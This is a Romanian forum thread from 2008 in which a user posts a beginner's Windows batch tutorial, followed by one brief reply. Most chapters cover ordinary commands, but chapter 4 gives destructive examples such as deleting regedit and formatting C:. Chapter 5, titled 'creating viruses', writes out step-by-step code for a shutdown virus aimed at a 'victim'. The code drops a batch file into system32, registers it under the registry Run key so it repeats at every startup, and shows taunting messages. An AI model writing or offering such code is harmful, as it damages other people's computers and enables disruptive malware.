Programare in batch

Vezi subiectul anterior Vezi subiectul urmator In jos

Frumos Programare in batch

Mesaj Scris de D.S.S.H. la data de Sam Noi 22, 2008 9:40 pm

*despart tutorialul in posturi (1 capitol pe post)

tutorialul e recomandat newbie-lor.daca ati programat vreodata nu are rost sa-l cititi ... nu invatati nimic nou (deocamdata)
batch e un limbaj de programare simplu ... si destul de potent ...
material necesariu : notepad,rabdare si un creier functionabil

cuprins :
capitolul 1 : primul program bat
capitolul 2 : variabile
capitolul 3 : if,goto,meniuri
capitolul 4 : comenzi utile
capitolul 5 : creare de virusi

CAPITOLUL 1 : primul program .bat

-o lista de comenzi utile (recomandabil sa le copiati undeva,pt a le avea la indemana)

@echo off -asa incep toate programele in batch
title -titlul programului
pause -face o pauza in program (odata ajuns la comanda pause programul va cere sa apasati orice tasta pt a continua)
pause > nul -acelasi lucru ca si pause,doar ca nu arata mesajul
echo. -lasa un spatiu in program (acelasi lucru ca enter-ul in word)
echo -arata un mesaj in program
rem -se foloseste pt a scrie un mesaj insa nu se poate vedea in program (doar in modul editare ) ... folosit pt facut aclaratii ...

-primul program (deschideti notepadul si scrieti)

@echo off
title primul meu program in batch
echo.
echo vizitati http://warsn.forumd.biz
pause
echo.
echo daaa !!! am facut primul program
pause > nul
exit

documentul se salveaza unde doriti cu terminatia .bat (mergeti in file-save as-oricenume.bat)
apoi mergeti unde ati salvat programul ... si il deschideti ...si daca functioneaza ... ati reusit sa faceti primul program in batch


Ultima editare efectuata de catre D.S.S.H. in Sam Noi 22, 2008 9:42 pm, editata de 1 ori
avatar
D.S.S.H.
Bishoujo
Bishoujo

Numarul mesajelor : 27
Varsta : 28
Data de inscriere : 22/11/2008

Vezi profilul utilizatorului http://sdh-downloads.forumz.ro

Sus In jos

Frumos Re: Programare in batch

Mesaj Scris de D.S.S.H. la data de Sam Noi 22, 2008 9:41 pm

CAPITOLUL 2 : Variabile

-comenzi utile (ca si pe cele din capitolul 1,scrietile undeva pt a le avea la indemana)

set var= (pun un exemplu pt a se intelege mai bine comanda)
set/p var= (pun un exemplu pt a se intelege mai bine comanda)
set/a var= (pt operatii matematice;pun un exemplu pt a se intelege mai bine
comanda)
cls sterge tot ce e scris anterior in bat
color ?? culoarea fundalului si a caracterelor
+ suma
- scadere
* inmultire
/ impartire

@echo off
title exemplu
set var=capatanos
echo esti un %var%
pause
exit

explicatie:
definim "var" ca capatanos,astfel oriunde in program facem referinta la "var" va fi afisat cuvantul capatanos.(pt a face referinta la variabila o scriem intr %%).si desigur ... in locul cuvantului var poate fi oricare altul.
exemplu

@echo off
title exemplu 2
set unu=sunt D.S.S.H.
set doi=sper sa inveti
echo buna newbie!%unu%
echo.
pause > nul
echo.
echo %doi%
echo.
pause
exit

sper ca s-a inteles ... daca nu dau o explicatie mai amanuntita ...

acum alt tip de variabile.seamana cu cele de inainte ... insa acestea fac posibil sa scrii ceva si cel ce executa bat-ul sa raspunda,si mai tarziu sa se faca referinta la raspuns ... cu un exemplu se intelege mai bine:

@echo off
title exemplu 3
set/p nume= cum te numesti?
echo.
pause
set/p varsta= cati ani ai?
echo.
pause
cls
echo te numesti %nume% si ai %varsta% ani
echo.
pause
exit

explicatie: intai programul iti cere numele si varsta, apoi le afiseaza in linea 10,unde am facut referinta la nume si varsta cu ajutorul %%.

inainte sa trec la alt tip de variabile,pun codul culorilor (ar fi trebuit sa-l pun in capitolul 1 ... e ceva simplu)
0 -negru
1 -albastru
2 -verde
3 -verde-albastrui (o culuare ciudata Smile) )
4 -rosu
5 -roz
6 -galben
7 -alb
8 -gri
9 -albastru deschis
A -verde deschis
B -ca si 3,doar ca e mai deschis
C -rosu deschis
D -roz deschis
E -galben deschis
F -alb stralucitor

un exemplu pt a vedea cum se foloseste codul culorilor

@echo off
title exemplu 4
color 2e
set/p intrebare= cum te numesti ?
echo.
pause
cls
echo buna %intrebare% !
echo.
pause
exit

asadar pt a alege o culoare pt program se scrie intai comanda "color" urmata de nr/litera culorii pe care o vrei pt fundal si apoi nr/litera culorii pe care vrei sa o aiba literele.

acum explic alt tip de variabile care se folosesc pt operatii matematice (utilizarea e similara variabilei set/p folosita mai sus).

@echo off
title calculeaza-ti media
color 2e
echo.
set/p a=care este nota ta la matematica?
cls
set/p b=care este nota ta la sexologie?
cls
set/p c=care este nota ta la limba romana?
cls
set note=3
rem set note=3 e pt a specifica nr de note,pt a putea calcula media ... (in bat nu apare ce scrii dupa comanda "rem"
set/a suma=a+b+c
rem mai sus am sumat notele
set/a media=%suma%/%note%
rem cum observati impartim suma notelor intre nr de note
cls
echo.
echo media ta este %media%
pause
echo.
echo invata mai mult
echo.
pause
exit

usor,nu?ah ... si nu arata decimale (daca media e 5,25 arata doar 5).comenzile pt restul operatiilor sunt la inceputul capitolului 2
avatar
D.S.S.H.
Bishoujo
Bishoujo

Numarul mesajelor : 27
Varsta : 28
Data de inscriere : 22/11/2008

Vezi profilul utilizatorului http://sdh-downloads.forumz.ro

Sus In jos

Frumos Re: Programare in batch

Mesaj Scris de D.S.S.H. la data de Sam Noi 22, 2008 9:42 pm

CAPITOLUL 3 : if,goto,meniuri

goto - permite saltul la un anumite loc din bat ; de ex la un meniu ...
if - se foloseste pt stabilit conditii. (cu practica se intelege mai bine...)
:nume meniu - se foloseste pt a face un meniu ( : + numele meniului)
else -se foloseste de obicei pt a adauga o actiune in caz ca una din conditii nu se indeplineste (definitia suna ciudat ... cu exemplu se intelege mai bine)

comanda if dispune de urmatoarele valori :
variabila==valoare (variabila e egala cu valoarea)
variabila LSS valoare (variabila mai mica ca valoarea)
variabila GTR valoarea (variabila mai mare ca valoarea)
variabila LEQ valoare (variabila mai mica sau egala cu valoarea)
variabila GEQ valoare (variabila mai mare sau egala cu valoarea)

se intelege mai bine cu un exemplu :

@echo off
title practica if,goto,meniuri
:meniu
cls
echo raspunde da sau nu
echo.
echo vrei sa inveti sa programezi in batch?
set/p intrebare=
echo.
if %intrebare%==da goto dah
if %intrebare%==nu goto nuh
:dah
cls
echo atunci citeste in continuare
pause
goto end
:nuh
cls
echo atunci de ce naiba citesti asta ?
pause
goto end
:end
cls
echo.
echo bye!bye!
pause
exit

cum se foloseste comanda else :
if conditie (actiune1) else actiune 2
actiunea 1 trebuie sa fie intre paranteze obligatoriu ...
ex:

@echo off
titlu exemplu else
:meniu
cls
echo ce vrei ? sfat sau sa iesi ?
echo.
set/p var=spune,sfat sau sa iesire :
if %var%==sfat (goto sfat) else goto if2
:if2
if %var%==iesire (goto end) else goto meniu
:sfat
cls
echo viziteaza http://warsn.forumd.biz
pause > nul
goto end
:end
cls
echo.
echo hasta la vista !
pause
exit

nu e greu de inteles ... cu putina practica se prinde ...
avatar
D.S.S.H.
Bishoujo
Bishoujo

Numarul mesajelor : 27
Varsta : 28
Data de inscriere : 22/11/2008

Vezi profilul utilizatorului http://sdh-downloads.forumz.ro

Sus In jos

Frumos Re: Programare in batch

Mesaj Scris de D.S.S.H. la data de Sam Noi 22, 2008 9:44 pm

CAPITOLUL 4 : comenzi utile

comenzi importante :

del -sterge fisiere
ex : del C:/windows/regedit
comenzi asociate cu del :
/P -cere confirmare
/F -force mode/brute force (sterge inclusiv argivele read only in cazul comenzii del))
/S -sterge si subdirectorii
/Q -nu cere confirmare

start -incepe o actiune
ex : start http://warsn.forumd.biz
taskkill -opreste un proces ( /f -pt forta bruta)
ex : taskkill iexplorer.exe

format unitate: -formateaza o unitate
ex - format C:

msg* -face sa apar un mesaj
ex : msg* impusca-te!!!

reg add -adauga ce vrem la registru
comanda asta o explic in crearea virusilor

> si >>
ex : echo vierme>mar.txt -creaza in locul in care ne aflam un fisier text cu titlul mar,pe care daca il deschidem gasim scris vierme
ex2: echo alt vierme>>mar.txt -in fisierul mar (pe care l-am creat mai sus) adauga "inca un vierme" ... deci daca l-am deschide am gasi pe primul rand cuvantul "vierme" si pe urmatorul rand "inca un vierme"
deci ... mai pe scurt > creaza o arhiva(un document) si >> sare la linea urmatoare din document

* -inlocuieste orice carectere
ex: daca scriem comand del *.jpg -programul ar sterfe toate arhivele cu extensia jpg

? -inlocuieste doar un caracter
ex: daca am scrie comanda del ?ac.jpg programul ar sterge toate fisierele care au numele ?ac (? fiind inlocuit de orice litera) ... ex : ar sterge toate fisierele cu numele rac.jpg , lac.jpg , mac.jpg
ah , si atat * cat si ? pot fi folosite pt nume cat si pt extensie

chdir sau cd -mergi in directoriul indicat

attrib [/s -arata atributele unei arhive(fisier...) si permite schimbarea lor ...
atributele sunt : H ->ascus .se activeaza cu +h si se dezactiveaza cu -h
R ->read only. activare +r dezactivare -r
S ->sistem . +s / -s
A ->modificat (pt copii de securitate) +a indica -modificat si -a indica ca nu a fost modificat
shutdown - e o comanda ce trebuie sa fie continuata cu una din urmatoarele
-r -restart
-s -opreste sistemul
-f -forteaza oprirea programelor deschise
-t nr -indica timpul in care se opreste/restarteaza sistemul ... "nr" poate fi inlocuit
de un nr
-c " " -intre ghilimele se poate pune un mesaj
ex : shutdown -r -f -t 10 -c "beleste!!" ---> comanda face calculatorul sa se restarteze (-r) , sa inchida toate programele fortat (-f) sa o faca in 10 secunde (-t 10) si sa arate un mesaj care spune beleste!!

toate comenzile acestea , impreuna cu cele pe care le cunosteau deja (set/p ,pause,pause > nul,if,goto .... etc ... sunt comenzile basice .... insa sumate pot fi utile ... se pot realiza multe aplicatii cu ele ... salut
capitolul urmator incep definitiv cu crearea de virusi ...
avatar
D.S.S.H.
Bishoujo
Bishoujo

Numarul mesajelor : 27
Varsta : 28
Data de inscriere : 22/11/2008

Vezi profilul utilizatorului http://sdh-downloads.forumz.ro

Sus In jos

Frumos Re: Programare in batch

Mesaj Scris de D.S.S.H. la data de Sam Noi 22, 2008 9:45 pm

CAPITOLUL 5 : creare de virusi

uitati-va la virusul asta :

@echo off
shutdown -r -f -t 5
exit

ce face ? ... simplu ... restarteaza sistemul in 5 secunde si atat . nu se repeta atata timp cat victima nu executa programul din nou .
insa ganditi-va la altceva ... ce s-ar intampla daca virusul s-ar executa singur , cand victima porneste sistemul . asta ar supara putin , nu ?
asta am sa explic in continuare ...
pasi :
1.trebuie sa facem in asa fel incat virusul sa se creeze undeva Very Happy
2.trebuie sa-l adaugam la registru (run)
3.sa facem sa apara un mesaj ... (asta e optional)

incepem ca intotdeauna

@echo off
in continuare trebuie sa mergem in directoriul un vrem sa se creeze virusul ,de ex C: , windows , sau system32 ... etc
daca vrem sa se salveze in C ... e de ajuns sa scriem cd
@echo off
cd
sau daca vrem sa se salveze in system32 ar fi asa :
@echo off
cd C:\windows\system32
odata ales directoriul ... trebuie sa creat un bat complet in locul ales ... va amintit de > si >> , nu ?

@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
exit

ati inteles ce am facut , nu ? ...
acum avem virusul nostru creat in system32.acum ramane doar sa adaugam virusul la run , sa se execute cand victima porneste compul ...
comanda pt a face asta e urmatoarea :
reg add hkey_local_machine\software\microsoft\windows\currentversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f
asa ca ... pana aici virusul nostru ar arata asa :

@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f
exit

acum ... lipseste doar sa punem un mesaj ... de ex :

@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f
msg* D.S.S.H. a facut sex cu cumpul tau
msg* Esti pierdut !!
msg* Formateaza
start c:\windows\system32\virus.bat
exit


si aici inchei cursul de batch ... se pot crea multe aplicatii cu batch-ul ... si nunumai virusi ... programe utile ... programe distractive ... doar folositi putin din imaginatie ....

daca am greseli de scriere ... nu-mi sariti in cap (am motivele mele pt care nu ma descurc cu scrisul in rom) ... imi spune-ti frumos si corectez ...
si daca aveti intrebari .... intrebati Very Happy ... si va raspund ...
salut
D.S.S.H.
avatar
D.S.S.H.
Bishoujo
Bishoujo

Numarul mesajelor : 27
Varsta : 28
Data de inscriere : 22/11/2008

Vezi profilul utilizatorului http://sdh-downloads.forumz.ro

Sus In jos

Frumos Re: Programare in batch

Mesaj Scris de Crizzy la data de Sam Noi 09, 2013 7:12 pm

Multa stima pentru tine ! lol! 

Crizzy

Numarul mesajelor : 3
Data de inscriere : 09/11/2013

Vezi profilul utilizatorului

Sus In jos

Frumos Re: Programare in batch

Mesaj Scris de Continut sponsorizat


Continut sponsorizat


Sus In jos

Vezi subiectul anterior Vezi subiectul urmator Sus

- Subiecte similare

 
Permisiunile acestui forum:
Nu puteti raspunde la subiectele acestui forum